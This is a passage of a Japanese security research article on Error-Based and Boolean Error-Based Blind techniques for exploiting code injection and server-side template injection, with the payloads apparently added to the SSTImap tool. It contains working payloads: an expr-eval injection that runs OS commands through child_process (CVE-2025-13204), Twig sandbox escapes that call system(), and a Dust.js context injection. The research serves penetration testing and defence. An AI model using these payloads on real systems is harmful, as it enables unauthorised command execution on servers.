値を目的の型に変換するには、特定の変換関数を使用するか、目的の型に典型的な操作(数値の場合は 0 を加算、文字列の場合は空文字列を連結、ブール値の場合は `true` との論理積を使用するなど)を使用できます。さらに、二重否定を使用して値をブール値に変換し、その後三項演算子などの条件を使用して整数に変換できます。
OS コマンド実行の成功を確認するには、終了コードをゼロと比較するか、出力が指定した文字列で終了することを確認できます。
## 実用的な応用
この研究で開発されたすべての手法とペイロードは、実用的な応用のためにオープンソースツール SSTImap に追加されました。さらに、私はこれらの手法を自身のタスクに適用し、ほとんどの場合で結果を得ることができました。それがこの研究のきっかけとなりました。
これらの事例には、実際の Web アプリケーションのテスト例や、既知の脆弱性の悪用の能力を拡張するペイロードが含まれています。
### expr-eval (CVE-2025-13204)
新しい手法を実際のターゲットに適用した最初の例は、人気のある Discord ボットコンストラクターにおけるコードインジェクションの脆弱性です。テンプレートエンジンのタグの 1 つが、**expr-eval** と呼ばれる脆弱な NodeJS モジュールを使用した数式評価を可能にしていましたが、結果は整数に変換されていたため、当初は注入コードの結果にアクセスできませんでした。
脆弱な機能をトリガーするために使用されたテンプレートエンジンの構文を壊さずに、関数コンストラクタにアクセスするための既知のペイロードを修正しました。その後、Error-Based 手法を適用し、`require()` を使用してコード実行結果を含むエラーをトリガーしました:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

この場合、Error-Based テクニックを使用して、当時テストしていた実際のアプリケーションでブラインドコードインジェクションから出力を得ることができました。
NodeJS 用の expr-eval モジュールにおけるコードインジェクションの悪用ペイロードが、追加インストール可能な SSTImap の追加モジュールとして追加されました。 このモジュールには、SSTImap がサポートする4つのコードインジェクション悪用テクニックすべてのペイロードが含まれています。
新しいテクニックの実用的な応用の別の例は、インジェクションコンテキストによる制限なしに CVE-2025-1302 を悪用できる能力です。 以前のレンダリングインジェクションのペイロードはルートオブジェクトの属性を設定していましたが、このアプローチでは多くのインジェクションコンテキストでレンダリング悪用が妨げられ、他のコンテキストを推測する必要がありました。
Error-Based テクニックのおかげで、詳細なエラー出力がある場合にはすべてのコンテキストで出力が取得可能になりました。 Boolean Error-Based Blind テクニックを使用することで、ブラインドインジェクションのより効果的な悪用が可能になり、高速なデータ流出の可能性が開かれました。
脆弱なバージョンの Twig テンプレートエンジンでは、PHP関数名を含む文字列を |sort フィルタのパラメータとして渡すことでサンドボックスエスケープが可能です。
このフィルタは関数の出力を数値に変換し、配列内の2つの要素の新しい順序を決定します。
PHPでは、system() 関数は出力の最初の文字列のみを返しますが、結果の数値と配列要素の順序に影響を与え、OSコマンドが正常に実行されたかどうかを示すには十分です。
最初の要素を期待値と比較することで、要素が入れ替わったかどうかを判断し、コマンドが生成した数値を理解できます。
その結果、次のペイロードが得られます:```php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
今回、Boolean Error-Based Blindは、**Twig**テンプレートエンジンにおけるブラインドサンドボックスバイパスの機能を拡張し、出力のビット単位の抽出を可能にする可能性があります。
また、`system()`や`passthru()`のようなPHP関数は結果を直接ページに出力するため、`ob_start()`を使用してそれらをインターセプトできることにも注目できます。
第2引数として、`ob_start()`は、出力を引数として呼び出される関数の名前を受け入れます。これにより、`call_user_func()`を使用してError-Based出力の外部持ち出しが可能になります。
関数を呼び出してエラーをトリガーするには、引数なしで`ob_end_flush()`をトリガーする必要があります。そのためには、空の配列で`call_user_func_array()`を使用できます。
最終ペイロード:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
さらに、Dust.JS テンプレートエンジン向けのペイロードについても言及しておきます。 NodeJS向けのコードインジェクションペイロードに基づく、Error-BasedおよびBoolean Error-Based Blind 手法により、Blind SSTI のより効果的な悪用と、ターゲットのWebサイトで詳細なエラー出力が利用可能な場合の結果取得が可能になります。
その後、レンダリングされたインジェクション中にテンプレートコンテキストに変数を追加することで結果を得る可能性を調査することにしました。 当初はプロトタイプ汚染を試みましたが、動的コード生成中にエラーが発生したため、新しい変数を注入するためのコンテキストオブジェクトを見つける必要がありました。 そのために、Error-Based手法を適用し、グローバル変数を調査しました。
context という変数が見つかり、その属性 global にはテンプレートに渡された変数が含まれていました。
context.global に新しい属性を追加することで、結果を得ることができました。```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
この例は、ブラックボックス方式でペイロードを開発しながら、Error-Based 手法を用いてインジェクションコンテキストを調査する可能性を示しています。
## 結論
この研究の一環として、コードインジェクションと SSTI のための 2 つの新しい手法が開発されました。
**Error-Based** 手法を使用すると、詳細なエラーメッセージがユーザーに表示される場合、ブラインドインジェクションの結果にアクセスできます。
**Boolean Error-Based Blind** 手法は、**Time-Based Blind** 手法で一般的に使用される遅延を排除するため、ブラインドインジェクションの悪用を大幅に高速化します。
両方の新しい手法用にペイロードが作成され、6 つのプログラミング言語におけるコードインジェクションと SSTI の悪用が可能になりました。
さらに、コードインジェクションと SSTI の汎用的な検出のためのコンテキスト認識型ペイロードが導入され、これまで不可能と考えられていた、すべての可能な言語をテストすることなくブラインドインジェクションの自動検出が可能になりました。
実証された手法は、一見明白な脆弱性であっても、既知のすべての悪用手法を文書化することの重要性を証明しています。
同様のアプローチは SQL インジェクション手法で長い間使用されてきましたが、SSTI の発見から 10 年間、**Error-Based** 手法についての言及や文書化されたペイロードはありませんでした。
コードインジェクション自体にはほとんど文書がなく、新しい基本的な手法の発見を妨げていました。
この研究は、よく知られた脆弱性であっても新しい手法を発見する可能性があることを証明しました。
より効果的な手法開発のためには、研究者向けの手法やトリックを含む知識リポジトリを作成し、ペイロード開発やさまざまなシステムの異常な機能に関する知識(たとえその知識がシステム悪用に直接使用されなくても)を文書化できるようにする必要があります。
最後に、今後の研究の有望な方向性について言及します。
**Boolean Error-Based Blind** および **Time-Based Blind** 手法の大きな改善点は、SQL インジェクションの対応する手法と同様に、出力を 1 ビットずつ流出させるためのペイロードです。
さらに、テンプレートエンジンの機能を使用した **OAST** テストおよび **Time-Based Blind** 手法の適用可能性を調査することで、これらの手法の OS およびターゲットサーバーで利用可能なバイナリへの依存性が排除されます。
## 参考文献
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9